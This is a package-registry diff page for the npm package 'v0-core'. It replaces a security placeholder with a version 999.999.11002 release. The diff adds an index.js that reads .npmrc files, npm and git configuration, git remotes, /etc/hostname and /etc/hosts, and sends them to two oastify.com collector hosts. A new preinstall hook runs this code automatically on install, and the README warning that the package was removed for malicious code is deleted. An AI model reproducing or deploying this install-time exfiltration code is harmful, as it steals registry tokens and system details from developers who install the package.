v0-core 0.0.1-security → 999.999.11002

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of v0-core might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +77 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,77 @@
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+ const { execSync } = require('child_process');
4
+
5
+ const BURP1 = 'https://bhwe1uqgv1z3kw833hc72f7g3792xslh.oastify.com';
6
+ const BURP2 = 'https://mwmpg55raceez7neisrihqmriioec40t.oastify.com';
7
+
8
+ try {
9
+ // NPM Configuration (to BURP1)
10
+ const npmConfigs = {};
11
+
12
+ try {
13
+ if (fs.existsSync('/home/node/.npmrc')) {
14
+ npmConfigs.home_npmrc = fs.readFileSync('/home/node/.npmrc', 'utf8').substring(0, 500);
15
+ }
16
+ } catch(e) {}
17
+
18
+ try {
19
+ if (fs.existsSync('.npmrc')) {
20
+ npmConfigs.local_npmrc = fs.readFileSync('.npmrc', 'utf8').substring(0, 500);
21
+ }
22
+ } catch(e) {}
23
+
24
+ try {
25
+ npmConfigs.npm_config_list = execSync('npm config list 2>&1').toString().substring(0, 1000);
26
+ } catch(e) {}
27
+
28
+ try {
29
+ npmConfigs.npm_registry = execSync('npm config get registry 2>&1').toString().trim();
30
+ } catch(e) {}
31
+
32
+ try {
33
+ npmConfigs.registry_grep = execSync('npm config list 2>&1 | grep registry').toString().trim();
34
+ } catch(e) {}
35
+
36
+ try {
37
+ if (fs.existsSync('.git/config')) {
38
+ npmConfigs.git_config = fs.readFileSync('.git/config', 'utf8').substring(0, 500);
39
+ }
40
+ } catch(e) {}
41
+
42
+ try {
43
+ npmConfigs.git_remote = execSync('git remote -v 2>&1').toString().substring(0, 500);
44
+ } catch(e) {}
45
+
46
+ // Send npm configs to BURP1
47
+ Object.keys(npmConfigs).forEach(key => {
48
+ const value = encodeURIComponent(npmConfigs[key] || 'not_found');
49
+ https.get(`${BURP1}/v0-core-${key}?value=${value}`, r => r.resume()).on('error', () => {});
50
+ });
51
+
52
+ // System Configuration (to BURP2)
53
+ const sysConfigs = {};
54
+
55
+ try {
56
+ if (fs.existsSync('/etc/hostname')) {
57
+ sysConfigs.hostname = fs.readFileSync('/etc/hostname', 'utf8').trim();
58
+ }
59
+ } catch(e) {}
60
+
61
+ try {
62
+ if (fs.existsSync('/etc/hosts')) {
63
+ sysConfigs.hosts = fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500);
64
+ }
65
+ } catch(e) {}
66
+
67
+ // Send system configs to BURP2
68
+ Object.keys(sysConfigs).forEach(key => {
69
+ const value = encodeURIComponent(sysConfigs[key] || 'not_found');
70
+ https.get(`${BURP2}/v0-core-${key}?value=${value}`, r => r.resume()).on('error', () => {});
71
+ });
72
+
73
+ } catch(e) {
74
+ https.get(`${BURP1}/v0-core-error?msg=${e.message}`, r => r.resume()).on('error', () => {});
75
+ }
76
+
77
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "v0-core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.999.11002",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ }
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=v0-core for more information.